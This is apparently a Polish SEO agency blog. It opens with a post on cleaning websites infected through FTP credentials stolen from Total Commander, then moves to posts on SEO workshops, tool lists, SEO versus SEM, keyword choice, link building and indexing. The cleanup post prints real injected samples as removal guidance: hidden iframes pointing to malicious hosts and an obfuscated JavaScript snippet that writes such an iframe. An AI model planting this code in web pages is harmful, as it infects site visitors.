Wirus na stronie internetowej (www)

Ostatnimi czasy coraz więcej klientów / ludzi „skarży” się na wirusy na swoich stronach internetowych – nie są to typowe „wirusy” a „po prostu” kawałek kodu źródłowego, który dopisuje się do plików index.php, index.html … itd

Pewnie zastanawia to Państwa jakim cudem się ten wirus dostał się na stronę?

Więc jest to powodem zawirusowanego systemu operacyjnego i zawartego hasła do serwera FTP w programie Total Commander, który niestety jest podatny na tego typu zabieg. Wirus sprawdza wszystkie konta FTP zapisane w programie i jeżeli ma możliwość zalogować się na daną stronę , loguje się a następnie wyszukuje typowe nazwy plików (np. index.php, index.html … ) i na końcu kodu dopisuje kilka linijek swojego kodu, który raz ma postać <iframe> a innym razem jako zaawansowany kawałek kodu JavaScript.

W wynikach wyszukiwania Google, często można znaleźć strony przy który jest napisane „Ta witryna może wyrządzić szkody na twoim komputerze” to oznacza, że dana strona właśnie posiada dopisany tego typu kod.

Jak usunąć tego wirusa?

  1. Po pierwsze i najważniejsze – od razu zmienić hasło do serwera FTP i nie zapisywać go w Total Commanderze (najlepiej go podawać podczas logowania, bądź po prostu skorzystać z innego oprogramowania, które jest wiele…)
  2. Zalogować się na serwer FTP i skopiować wszystkie pliki na swój lokalny dysk (komputer)
  3. Lokalnie na komputerze przeglądnąć wszystkie pliki poszukując kodu pokroju:

<iframe src=”http://mixante.cn/in.cgi?income55″ width=1 height=1 style=”visibility: hidden”></iframe>
<iframe src=”http://cheapslotplay.cn/in.cgi?income48″ width=1 height=1 style=”visibility: hidden”></iframe>
… itd

Zależność jest jedna – wyraz – „income” i w poszukiwaniu takiego wyrazu na początek zalecamy się skupić, gdy tylko znajdą Państwo tego typu kod, należy go usunąć i wgrać plik na serwer FTP nadpisując stary.

Drugim rodzajem „wirusa” może być kod podobny do:

<!– ad –><script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv=”write”;
mzsrv=”me”;
zqfqw=”et”;
gdtrk=”/’ st”;
rpiia=”yl”;
qxaol=”";
ldlvw=”i”;
zfhuu=”ty”;
hvkhb=”:h”;
hbqmm=”d”;
hauzn=”";
zdqdp=4;
sjgbi=”if”;
rpygo=”r”;
syjnh=” sr”;
rwanv=”c”;
elujl=”=”;
hrgnc=863;
akzpp=8853;
tplxn=” „;
cvtot=”</”;
qtndm=”";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv=”write”;
mzsrv=”me”;
zqfqw=”et”;
gdtrk=”/’ st”;
rpiia=”yl”;
qxaol=”";
ldlvw=”i”;
zfhuu=”ty”;
hvkhb=”:h”;
hbqmm=”d”;
hauzn=”";
zdqdp=4;
sjgbi=”if”;
rpygo=”r”;
syjnh=” sr”;
rwanv=”c”;
elujl=”=”;
hrgnc=863;
akzpp=8853;
tplxn=” „;
cvtot=”</”;
qtndm=”";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+”e=’”+”v”+”isib”);
hzpmf=(0×587,qxaol+ldlvw+”li”+zfhuu+hvkhb+”id”+hbqmm+”en”+”‘”+hauzn);
rmtyf=(6.5e1,”");

aaa=((567,gftzo),(0×2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486)sad.gif.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,”"+”<”+sjgbi+rpygo+”a”)+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+”‘”+”h”+”ttp”+”")+(8581.<.887?0.7:”://t”+”ruittbros.n”)+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+”>”+cvtot+”if”+qtndm)+(2.>1.?”ram”+”e>”:64.)+(223.>=jlooz?1.:rmtyf)));</script><!– /ad –><!DOCTYPE html PUBLIC „-//W3C//DTD XHTML 1.0 Transitional//EN” „http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

Proszę mieć na uwadze, że to w żadnym przypadku nie jest wina hostingu, obojętnie czy to będzie nazwa.pl, home.pl czy inna firma hostingowa (aczkolwiek istnieją skrajne przypadki…).

Po usunięciu w/w kodów i wgraniu ich na serwer FTP strona powinna być już odkażona :-)

W razie problemów (czy też braku umiejętności) z usunięciem wirusa, zapraszamy do kontaktu z nami.

Zaawansowana optymalizacja witryn e-commerce pod kątem wyszukiwarek internetowych

Poniżej przestawiamy nagranie z warsztatów organizowanych przez Koło Naukowe Informaticus działające przy Katedrze Informatyki Akademii Ekonomicznej w Katowicach. Wykład przedstawiał najważniejsze elementy optymalizacji strony na przykładzie stron orange.pl i plusgsm.pl

Bardzio dziękujemy za dobre opinie towrzyszące tej prezentacji jak i organizatorom za zaproszenie w tym w szczególności Panu Arturowi Strzeleckiem, który od początku do końca był przy organizacji Silesia SEM.

Warsztaty „Marketing w wyszukiwarkach internetowych”

21 kwietnia o godzinie 17:00 w sali 228A odbędą się warsztaty pt. „Marketing w wyszukiwarkach internetowych”.  Celem warsztatów jest upowszechnianie wiedzy o sposobach i formach wykorzystania potencjału reklamowego w wyszukiwarkach internetowych.

Na spotkanie zostali zaproszeni specjaliści ze śląskich firm zajmujących się tematyką marketignu w wyszukiwarkach internetowych.

Podczas spotkania zostaną przedstawione trzy prezentacje przez następujące osoby:

- Tomasz Wieliczko z firmy Xann Design, Wprowadzenie do pozycjonowania stron internetowych,

- Robert Nowaczyk z firmy Top PositionZaawansowana optymalizacja witryn e-commerce pod kątem wyszukiwarek internetowych,

- Bartek Krzemień z firmy Ataxo PolandGoogle Adwords – strategia i efektywne działania.

Udział w warsztatach jest otwarty dla studentów i gości z zewnątrz po uprzednim zapisaniu się na stronie internetowej spotkania.

Organizatorem warsztatów jest Koło Naukowe Informaticus działające przy Katedrze Informatyki Akademii Ekonomicznej w Katowicach. Warsztaty zostały wzięte do ramowego planu Festiwalu Przedsiębiorczości BOSS 2009 organizowanego przez Śląskie Studenckie Forum Business Centre Club (BCC) Katowice.

Google Advertising Professionals

 W tym miesiącu właściciele agencji Top Position potwierdzili umiejętności profesjonalnego prowadzenia kampanii reklamowych prestiżowym certyfikatem Google Advertising Professionals. Do tej elitarnej grupy dołączyli: Robert Nowaczyk oraz Michał Wiercimok. Jako jedna z nielicznych firm w Polsce posiadamy, aż dwóch certyfikowanych konsultantów reklamy Google.

Cieszymy się za obdarzenie nas zaufaniem w dotychczasowej współpracy, oraz zapraszamy wszystkie firmy chcące odnieść sukces w internecie do współpracy.

Szczegóły oferty znajdą państwo pod adresem http://www.topposition.pl/linki-sponsorowane.php

Przydatne narzędzia SEO

Google Data Center Check

DC Multi check (seocritique.com)
DC Check (geoseo.com)
Google DC Rank Checker (123seotools.com)
Google Datacenter Watch Tool (mcdar.net)
Datacenter Quick Check (mcdar.net)
Other Ranking Check

Keyword/Keyphrase Rank Check (check-seo.com)
Search Engine Results Pages Lookup (discountclick.com)
Search Engine Rank Check (seologs.com)
Search Engine Results Pages :: SERP (shoemoney.com)
Google Position Check (searchenginegenie.com)
Other Ranking Check

Keyword/Keyphrase Rank Check (check-seo.com)
Search Engine Results Pages Lookup (discountclick.com)
Search Engine Rank Check (seologs.com)
Search Engine Results Pages :: SERP (shoemoney.com)
Google Position Check (searchenginegenie.com)
Google Banned Checker

Google Banned Checker-1 (iwebtool.com)
Google Banned Checker-2 (selfseo.com)
Google Ban Checker (seojunkie.com)
Link Popularity Checker

Link Popularity Script (all4seo.net)
Link Popularity Check (mikes-marketing-tools.com)
Backlink Analyzer (ekstreme.com)
Link Popularity Check (uptimebot.com)
Link Popularity Check (webuildpages.com)
LP Check (shoemoney.com)
Link Popularity (check-seo.com)
Back Links Checker ( URL of Links )

Website Backlinks Checker (theseoworld.com)
Check Backlinks (backlinkwatch.com)
Backlink Analyzer (useseo.com)
Backlinks Finder (searchbliss.com)
Link Popularity Checker

Link Popularity Script (all4seo.net)
Link Popularity Check (mikes-marketing-tools.com)
Backlink Analyzer (ekstreme.com)
Link Popularity Check (uptimebot.com)
Link Popularity Check (webuildpages.com)
LP Check (shoemoney.com)
Link Popularity (check-seo.com)
Back Links Checker ( URL of Links )

Website Backlinks Checker (theseoworld.com)
Check Backlinks (backlinkwatch.com)
Backlink Analyzer (useseo.com)
Backlinks Finder (searchbliss.com)

Keyword Suggestion

Keyword Selector Tool (inventory.overture.com)
Keyword Suggestion tool (searchengineoptimizationcompany.ca) NEW
SEO Book Keyword Suggestion (tools.seobook.com)
Word Tracker (wordtrackerkeywords.net)
Keyword Advisor (ebrandmarketing.com.au)
Keyword Suggestion (keyworddiscovery.com)
Keyword Suggestion 2 (freekeywords.wordtracker.com)
Keyword Density

Keyword Density Analyzer (webjectives.com)
MULTI PR CHECK
PR Checker 1 (livepr.raketforskning.com)
PR Checker 2 (digpagerank.com)
PR Checker 3 (iwebtool.com)

PR Checker 4 (mypagerank.net)

PR Checker 5 (oy-oy.eu)

PR Checker 6 (multipagerank.com)
PR Checker 7 (pageranktool.net)
PR Checker 8 (check-seo.com)
Fake Pagerank detection

Check PageRank W/ Complete domain Analysis (checkpagerank.net)
PageRank Detection (seologs.com)
Google PageRank Prediction

PageRank Prediction (iwebtool.com)
Pagerank of Internal Pages

Internal Pr Check (check-seo.com)

My Google Page Rank W/ PR Icon(mygooglepagerank.com)
Verify Page Rank (database-search.com)
Check Page Rank (checkpagerank.com)
Google PR Check 10 websites at a time (check-seo.com)

SEO vs. SEM

Pomijając fakt że SEO jest częścią SEM, przyjmijmy że mówimy tu o optymalizacji i pozycjonowaniu stron oraz o kampaniach PPC w wyszukiwarkach internetowych.

Na samym początku nasuwają się pytania, czy firma powinna inwestować w SEO czy też może SEM. No właśnie, a czemu nie inwestować w obie rzeczy równocześnie ?

Według badań eyetools.com największą widoczność strony w wyniku wyszukiwania osiągają strony znajdujące się w pierwszej trójce wyników organicznych (100%), widoczność linku sponsorowanego na pierwszym miejscu to już tylko 50%, czyli tyle co 7 miejsce w wynikach naturalnych.

Dodatkowo można przyjąć, że CTR dla wyników naturalnych jest o wiele wyższy, gdyż osoba przeszukująca internet ma do nich większe zaufanie, wiedząc że to jest to wynik najbliżej odpowiadający temu co szuka (CTR zależy w dużej mierze też od tytułu i opisu strony). Natomiast średni CTR dla linków sponsorowanych wynosi tylko około 10%.

Oczywiście linki sponsorowane mają również dużo zalet. A najważniejszą jest to że możemy szybko pojawić się na interesujące nas słowa kluczowe wydając dokładnie tyle ile chcemy/możemy. Jednak na dłuższą metę SEM, będzie zabierało więcej czasu (mówiąc o pracy wkładanej w zarządzanie kampanią) niż pozycjonowanie z tego względu, że trzeba będzie ją codziennie monitorować i optymalizować by pojawiać się jak najwyżej. W pozycjonowaniu znowu mamy bardziej stabilną sytuację, a dobrze wypozycjonowana strona nie spadnie szybko w wynikach wyszukiwania.

A gdyby tak połączyć kampanie SEO i SEM ?
Z badań przeprowadzonych na wyszukiwarkach wynika, że strony pojawiające się zarówno w wynikach naturalnych jaki i sponsorowanych mają trzykrotnie więcej kliknięć dzięki zjawisku nazywanym “second opinion effect”. Połączenie takie jeszcze bardziej zwiększa wiarygodność strony w oczach klienta budując dodatkowo markę.

Inwestując w linki sponsorowane trafiamy też w innego człowieka, często bardziej zdecydowanego na zakup, więc nawet mając mniej kliknięć to ilość sprzedaży może być porównywalny z ilością sprzedaży produktów/usług użytkownikom, którzy weszli przez wyniki naturalne.

Jakie są wnioski ? SEO i SEM to dwa uzupełniające się sposoby do zdobywania nowych klientów i zwiększania sprzedaży, przez co i dochodów firmy.

Jak się wybiera firmę SEO w Polsce?

Zajmując się SEO od kilku lat zdobyłem wiele doświadczenia w “branży” i co zauważyłem marketing internetowy w Polsce to istny paradoks. Dlaczego ? Zapewne dlatego, że dobrych specjalistów SEO jest bardzo mało, a świadomość klientów jest na skrajnie niskim poziomie.

Co do pierwszego wystarczy wejść na PiO, gdzie przy 11 000 użytkownikach mało kto wie o czym mówi, a w tym połowa wiedzących coś o SEO wchodzi tam tylko po to, żeby przeczytać pogaduszki i podtrzymać kontakty, a nie dzielić się wiedzą na temat pozycjonowania.
To oczywiście nie było by, aż tak dużym problemem, gdyby nie “przybysze” z forum webhelp którzy usłyszeli “coś” o pozycjonowaniu, i coś o tym że można na tym dużo zarobić.

Tacy przybysze zaczynają zadawać podstawowe pytania, na które i tak nikt nie odpowiada, bo tematy te zostały omówione milion razy, a oni myśląc że po przeczytaniu podstaw pozycjonowania, to już czas na pierwszego klienta.

Jak to dalej się odbywa ?
1. Obiecują pobieranie opłaty jedynie za ustalone pozycje (najczęściej za 1-10)
2. Wyceny robione przez nich są zazwyczaj wysoce zaniżone. Dlaczego ? Przyczyna jest prosta, by móc wyceniać słowa kluczowe “na pozycje” jest potrzebne ogromne doświadczenie w SEO, a większość tego typu osób poprostu go nie ma i wycenia trudność frazy na podstawie ilości wyników wyszukiwania, co jest ogromnym błędem.
3. Klient jest mamiony, że gratis zostanie dodany do xxx katalogów i wyszukiwarek, które zwiększą ruch do jego strony (klient oczywiście się cieszy, bo naczytał się głupot na PiO, że tak robią wszyscy – zresztą tak jak wykonawca zlecenia). Oczywiście katalogować można, ale też trzeba umieć.

Cytując Centrum pomocy dla webmasterów:

Unikaj SEO zachwalających strony zamieszczające linki za darmo i programy sztucznie zwiększające ,,popularność” linków oraz oferujących zgłoszenie witryny w tysiącach wyszukiwarek. Są to zazwyczaj bezcelowe praktyki, które nie wpływają na ranking witryny w największych wyszukiwarkach – a przynajmniej nie w taki sposób, jaki można by uznać za pożądany.

Mamy tu na myśli, że strona klienta zostaje szybko dodana do multum katalogów stron, a jak to nie pomoże zostaje dopalona również systemami wymiany linków. W efekcie czego strona zdobywa szybko upragnione top10, “pozycjoner” odbiera swoją wypłatę.

Oczywiście jest to wariant optymistyczny, bo zazwyczaj wygląda tak, że po zaniżonej wycenie “pozycjoner” nie radzi sobie z trudnymi frazami, a udało mu się wypozycjonować te łatwiejsze w efekcie czego na frazy strona dalej nie rankuje. Prawdopodobnie strona wypozycjonowana w ten sposób szybko straci uzyskane pozycje. Czemu ? Odsyłam do podstaw SEO.

Czemu taki “pozycjoner” zostaje wybrany ?
Dlatego że klient dostaje najniższą cenę, a w jaki sposób?
Np wyceniając 5 trudnych słów 5 łatwych, tego typu pozycjoner zaproponuje 50zł za każde, a firma z doświadczonym pozycjonerem zaproponuje 500zł za każde trudne słowo, i 50-100zł za łatwiejsze. Kogo wybierze klient chyba jest jasne.
Z tym jak pisałem wcześniej tego typu “pozycjoner” weźmie jedynie pieniądze za łatwe frazy, a na trudne po prostu nie będzie mu się opłacało pozycjonować.
I tym sposobem de facto klient nie zyskuje pozycji na frazy na których najbardziej mu zależało, a jedynie nie frazy drugiego rzędu.

Prawdopodobnie tego typu klient zacznie po jakimś czasie rozglądać się za kolejną firmą, już trochę bardziej bogatszy o doświadczenie, ale ceny proponowane przez doświadczonych pozycjonerów znowu mogą wzrosnąć przez to że strona była nie umiejętnie pozycjonowana.

Morał z tego taki, że to co tanie na początku, może stać się drogie na końcu.

Dobór słów kluczowych do pozycjonowania

Aby kampania pozycjonowania przyniosła jak największy zwrot z inwestycji należy staranie dopasować pozycjonowane frazy. Jest to niezwykle ważne zwłaszcza przy wyborze usługi pozycjonowania na tak zwane gwarantowane pozycje, czyli gdy opłata jest pobierana za utrzymanie strony jedynie na pierwszej stronie wyników wyszukiwania (najczęściej wśród pierwszych 10 wyników).

Dobór słów kluczowych powinien rozpocząć się od przeanalizowania dotychczasowych statystyk strony oraz sprawdzenia jakie słowa kluczowe przynosiły największy ruch, oraz największą sprzedaż. Do analizowania ruchu na stronie polecamy statystyki Google Analytics, które nie tylko mierzą ilość wejść, ale potrafią mierzyć ilość sprzedaży, ich wartość, oraz wskazują współczynnik odrzuceń.

Współczynnik odrzuceń to dane które wskazują nam ile osób weszło na stronę i nie przeszło do kolejnej podstrony, pozwala między innymi eliminować słowa kluczowe które nie przynoszą nam zysku, bądź optymalizować stronę pod kontem tych słów.

Kolejnym etapem doboru słów kluczowych powinno być narzędzie propozycji słów kluczowych Google, dzięki któremu dopasujemy wyrażenia podobne do wpisanego oraz dowiemy się jaki jest ich trend oraz intensywność wyszukiwania.

Gdy dobierzemy najbardziej odpowiednie słowa kluczowe dla naszej witryny, warto będzie je przetestować przed rozpoczęciem wielomiesięcznej kampanii pozycjonowania.

Najprostszą metodą przetestowania skuteczności wybranych słów kluczowych jest przeprowadzenie kampanii linków sponsorowanych Google Adwords. Dzięki takiej kampanii dowiemy się które słowa bądź frazy wpisywane w wyszukiwarce powodują największą ilość wejść, oraz największą ilość sprzedaży produktu, bądź usługi.

Szczegółowe badanie ROI (ang. return on investment – zwrot z inwestycji) zostanie opisane w następnych wpisach.

Pozyskiwanie linków

Jak wspominaliśmy w pierwszym wpisie pozycjonowanie opiera się w dużej mierze na pozyskiwaniu linków zewnętrznych do naszej witryny. Poniżej przedstawiamy sposoby w jaki sposób można te linki zdobyć.

1. Unikalna zawartość serwisu.
Jeśli informacje zawarte na stronie są wartościowe i niespotkane nigdzie indziej, internauci sami bezinteresownie zaczną linkować stronę jako ich źródło.

2. Pozyskiwanie linków z katalogów stron oraz z stron typu presell page.

3. wymiana bądź kupno linków na stronach tematycznych

4. Łowienie linków (link hunting), pozyskiwanie linków poprzez zamieszczanie śmiesznych bądź kontrowersyjnych zdjęć, filmów, itp. na stronie. Bądź na przykład oferowanie “coś” w zamian za odnośnik do witryny.

5. Publikacja treści na stronach WEB 2.0 w tym w szczególności: wykop.pl, gwar.pl, digg.com, itp.

6. Wysyłanie informacji prasowych do portali tematycznych.

7. Tworzenie zaplecza tematycznego w postaci osobnych stron internetowych.

8. Tworzenie narzędzi dla webmasterów, szablonów stron, itp.

9. Udzielanie się na innych stronach, pisanie na forach internetowych.

9. Systemy wymiany linków.

Indeksacja strony

Podstawą instenienia strony w sieci jest jej indeksacja przez roboty wyszukiwarek internetowych zwanych potocznie pajączkami. Ideksacja strony pozwala znaleźć stronę w wyszukiwarce.

Sprawdzić czy strona jest poprawnie zaindeksowana można wpisując w okno wyszukiwarki (np. Google) zapytanie w formie site:nazwa-strony.pl
np. site:marketingowy.net

Poprawne zaindeksowanie wszystkich podstron serwisu pomaga w zwiększeniu ruchu na stronie w tym w szczególności z fraz niszowych zamieszonych w głębi serwisu bądź sklepu internetowego.

Aby strona była poprawnie odczytywana przez roboty wyszukiwarek musi posiadać czytelne dla nich menu, na przykład w technologi HTML. Menu stworzone w formie flash są nieczytelne dla pajączków wyszukiwarek przez co indeksacja podstron jest niemożliwa.

Bardzo pomocnym atutem, wręcz niezbędnym przy większych stronach są mapy strony w formacie html oraz xml. Mapa strony to zbiór wszystkich odnośników danej witryny na jednej podstronie. Tak skonstruowana mapa strony jest ważna, gdyż roboty wyszukiwarek w większości przypadków przechodzą jedynie do 3 podstrony wgłąb serwisu licząc od strony głównej.

Odnośniki do map strony powinny znajdować się na wszystkich podstronach serwisu. A mapa w formacie xml powinna być również wysłana do Centrum Webmasterów Google.

Jak dodać stronę do Google ?

Jeśli strona nie jest jeszcze zaindeksowana przez pająćzki Google, to można ją dodać poprzez formularz mieszczący się pod adresem google.com/addurl jednak bardziej efektywnym sposobem jest zamieszczenie odnośnika do strony na innych stronach już zaindeksowanych, bądź w katalogach stron. Dzięki czemu pajączki przejdą z już zaindeksowanych stron na nową by również uwzględnić ją w indksie.

Moja strona istnieje już bardzo długo jednak dalej nie ma jej w indeksie

Wielu ludzi w takim przypadku uważa że strona zotała na trwałe usunięta z wyszukiwarki – Dostała Bana. Jednak przyczyn braku indeksacji strony może być wiele, i w takim przypadku powinien stronę obejrzeć specjalista SEO by mieć pewność co z stroną jest nie tak.